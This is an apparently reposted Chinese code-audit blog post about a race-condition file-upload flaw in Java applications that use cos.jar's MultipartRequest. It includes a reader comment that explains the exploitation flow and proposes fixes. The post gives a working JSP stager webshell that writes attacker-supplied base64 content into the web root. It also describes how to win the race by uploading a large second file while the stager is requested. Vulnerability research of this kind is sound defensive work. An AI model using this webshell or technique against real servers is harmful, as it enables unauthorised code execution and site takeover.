【漏洞研究】[代码审计]JavaWeb上传组件(时间竞争漏洞)


在做审计的时候,往往经验是比较重要的,但是还是需要留意一些 jar 包,所
预留更初级程序员的坑
今天要说的就是 cos.jar
这是个什么东西能,对于懒人程序员来说使用量还是挺大的.....
参考链接和下载地址http://www.servlets.com/cos/index.html
总体来说就是一个文件上传的组件
在这个组件里面通常会用到这个类
MultipartRequest

有 5 个参数
1. http 的 request
2. 缓存的文件路径
3. 上传文件的大小
4. 编码
5. 上传时候 rename 规则


分析一下他具体怎么做的:
  1. public MultipartRequest(HttpServletRequest request, String saveDirectory, int
  2. maxPostSize, String encoding, FileRenamePolicy policy) throws IOException {
  3. this.parameters = new Hashtable();
  4. this.files = new Hashtable();
  5. if(request == null) {
  6. throw new IllegalArgumentException("request cannot be null");
  7. } else if(saveDirectory == null) {
  8. throw new IllegalArgumentException("saveDirectory cannot be null");
  9. } else if(maxPostSize <= 0) {
  10. throw new IllegalArgumentException("maxPostSize must be positive");
  11. } else {
  12. File dir = new File(saveDirectory);
  13. if(!dir.isDirectory()) {
  14. throw new IllegalArgumentException("Not a directory: " +
  15. saveDirectory);
  16. } else if(!dir.canWrite()) {
  17. throw new IllegalArgumentException("Not writable: " +
  18. saveDirectory);
  19. } else {
  20. MultipartParser parser = new MultipartParser(request, maxPostSize,
  21. true, true, encoding);
  22. Vector existingValues;
  23. if(request.getQueryString() != null) {
  24. Hashtable part =
  25. HttpUtils.parseQueryString(request.getQueryString());
  26. Enumeration name = part.keys();
  27. while(name.hasMoreElements()) {
  28. Object filePart = name.nextElement();
  29. String[] fileName = (String[])part.get(filePart);
  30. existingValues = new Vector();
  31. for(int i = 0; i < fileName.length; ++i) {
  32. existingValues.add(fileName[i]);
  33. }
  34. this.parameters.put(filePart, existingValues);
  35. }
  36. }
  37. Part var14;
  38. while((var14 = parser.readNextPart()) != null) {
  39. String var15 = var14.getName();
  40. String var18;
  41. if(var14.isParam()) {
  42. ParamPart var16 = (ParamPart)var14;
  43. var18 = var16.getStringValue();
  44. existingValues = (Vector)this.parameters.get(var15);
  45. if(existingValues == null) {
  46. existingValues = new Vector();
  47. this.parameters.put(var15, existingValues);
  48. }
  49. existingValues.addElement(var18);
  50. } else if(var14.isFile()) {
  51. FilePart var17 = (FilePart)var14;
  52. var18 = var17.getFileName();
  53. if(var18 != null) {
  54. var17.setRenamePolicy(policy);
  55. var17.writeTo(dir);
  56. this.files.put(var15, new UploadedFile(dir.toString(),
  57. var17.getFileName(), var18, var17.getContentType()));
  58. } else {
  59. this.files.put(var15, new UploadedFile((String)null,
  60. (String)null, (String)null, (String)null));
  61. }
  62. }
  63. }
  64. }
  65. }
  66. }


主要就是,通过 http 流解析出来,然后暂时缓存到目录里面,那么这里就会有一个坑,以
往的文件上传,缓存目录是不能设置的,
一旦开发人员设置了缓存目录,并且这个目录位于 web 目录下,那么就造成了任意文件上
传,对于有意识的程序员来说,可能认为
在这个类调用之后,我判断的规则不符合,我直接删除掉,这样以来不就安全了,真的安
全吗?
回过头来,再看看上面的这个程序,这个程序是可以连续读取很多文件的,我们就可以认
为既定时间内上传文件可控
第一个文件就是我们的 shell 文件,内容可以如下:
  1. <%new
  2. java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("c")));out.close();%>


意思就是,上传一个中转文件,如果我们文件为 xxx.jsp,我们可以访问
xxx.jsp?f=mm.jsp&c=aGVsbG8=,这样以来就在 web 的
根目录下写入了一个 shell,shell 的内容就是 hello
不管作者程序是否多文件,你都可以构造第二个文件,内容要大,必须给我们要访问的中
转文件预留时间
实际看一个例子吧,某知名程序:
  1. String newDir = date.format(new Date());
  2. String pathOfTomcat = SysConfigVO.getInstance().getSITE_REAL_PATH();
  3. String saveDirectory = "";
  4. .................
  5. ................
  6. ...............
  7. } else {
  8. saveDirectory = pathOfTomcat + config.getFILE_UPLOAD_DIR() + File.separator
  9. + newDir;
  10. }
  11. saveDirectory = StrUtil.replaceAll(saveDirectory, "/", File.separator);
  12. saveDirectory = StrUtil.replaceAll(saveDirectory, "//", File.separator);
  13. saveDirectory = StrUtil.replaceAll(saveDirectory, "\\", File.separator);
  14. File var38 = new File(saveDirectory);
  15. if(!var38.exists()) {
  16. var38.mkdirs();
  17. }
  18. int var37 = config.getFILE_UPLOAD_MAX_SIZE_BYTE();
  19. MultipartRequest multi = null;
  20. try {
  21. multi = new MultipartRequest(requestHelper.getRequest(), saveDirectory,
  22. var37, "gbk", new JcmsFileUploadRenamePolicy());
  23. } catch (IOException var36) {
  24. request.setAttribute("ERROR_MSG", "您上传的文件超出系统规定的大小(" +
  25. config.getFILE_UPLOAD_MAX_SIZE_KB() + " KB,合计 " +
  26. config.getFILE_UPLOAD_MAX_SIZE_M() + " M)");
  27. var36.printStackTrace();
  28. this.log.fatal(var36);
  29. this.log.fatal("您上传的文件超出系统规定的大小(" + var37 / 1024 / 1024 + "
  30. M)");

这样写有用吗,没卵用吧,如果第二个文件非常大,就直接 getshell 了,虽然报错了,都
没有人去删除那个,不是今天重点
  1. if(!extNameAllow) {
  2. s.delete();
  3. this.log.error("您上传的文件类型不合法(" + url + "),允许上传的文件类型有:
  4. " + allowExtName);
  5. request.setAttribute("ERROR_MSG", "您上传的文件类型不合法,允许上传的文件类
  6. 型有:" + allowExtName);

这里如果判断你上传的类型不对,直接给删除了,自己写一个 script


访问一下:






是JcmsFileUploadRenamePolicy里面的rename()没做后缀校验吗,if(!extNameAllow)是哪里调用的,没上下文看得不清晰
你的好基友让你去看那个java包
看过啦,在filePart.writeTo(dir);之前会先设置filePart.setRenamePolicy(policy);


MultipartRequest(HttpServletRequest request,String saveDirectory,int maxPostSize,String encoding,FileRenamePolicy policy) throws IOException {else if (part.isFile()) {
        // It's a file part
        FilePart filePart = (FilePart) part;
        String fileName = filePart.getFileName();
        if (fileName != null) {
          filePart.setRenamePolicy(policy);  // null policy is OK
          // The part actually contained a file
          filePart.writeTo(dir);
          files.put(name, new UploadedFile(dir.toString(),
                                           filePart.getFileName(),
                                           fileName,
                                           filePart.getContentType()));
        }

在FilePart.java里面的writeTo会首先 file = policy.rename(file);对文件进行检查操作,然后再 written = write(fileOut);写文件:
public long writeTo(File fileOrDirectory) throws IOException {
    long written = 0;
    
    OutputStream fileOut = null;
    try {
      // Only do something if this part contains a file
      if (fileName != null) {
        // Check if user supplied directory
        File file;
        if (fileOrDirectory.isDirectory()) {
          // Write it to that dir the user supplied,
          // with the filename it arrived with
          file = new File(fileOrDirectory, fileName);
        }
        else {
          // Write it to the file the user supplied,
          // ignoring the filename it arrived with
          file = fileOrDirectory;
        }
        if (policy != null) {
          file = policy.rename(file);
          fileName = file.getName();
        }
        fileOut = new BufferedOutputStream(new FileOutputStream(file));
        written = write(fileOut);
      }
    }
这个代码里面multi = new MultipartRequest(requestHelper.getRequest(), saveDirectory,var37, "gbk", new JcmsFileUploadRenamePolicy());
JcmsFileUploadRenamePolicy应该是实现FileRenamePolicy接口里面的rename就是上面传入的policy,正常情况下应该在这里对上传的文件后缀进行处理,问了基友说是这个JcmsFileUploadRenamePolicy是空的,所以这里就没有检查了。从if(!extNameAllow){s.delete();} 看,系统应该是另外做了检查,不合规就删除。

这里正常的流程是:
首先MultipartRequest上传文件到web目录saveDirectory,然后判断后缀,不合规就删掉文件
咋看上去是没问题的,坏就坏在MultipartRequest是可以接收多个上传文件域,而判断后缀这个操作是在MultipartRequest上传文件完成之后才进行的。

所以在利用的时候应该是同时上传两个文件一个up.jsp,一个j大文件,在MultipartRequest的时候up.jsp首先写入到saveDirectory目录,接着上传大文件,而且此时MultipartRequest还没有完成,还没有执行判断后缀这个步骤,因此利用上传大文件的时间,访问up.jsp生成rr.jsp。最后当上传大文件完成时,执行检查后缀的步骤,删除了up.jsp,但没关系,最终的rr.jsp已经生成了。

这个系统不应该把saveDirectory放置在web目录,即使放在web目录也不应该String newDir = date.format(new Date());使得目录可预测
修复的话直接在class JcmsFileUploadRenamePolicy里面重写rename过滤下后缀吧

行文期间崩了几次浏览器就没仔细检查了,如有不当请指正。
给力,闷闷老师太忙,等他忙过这段时间

技术交流QQ群: 397745473
来自:https://xianzhi.aliyun.com/forum/read/432.html?fpage=12

评论

此博客中的热门博文

【漏洞研究】[渗透测试]滲透Facebook的思路與發現

【技术讨论】使用apache mod_rewrite方法随机提供payloads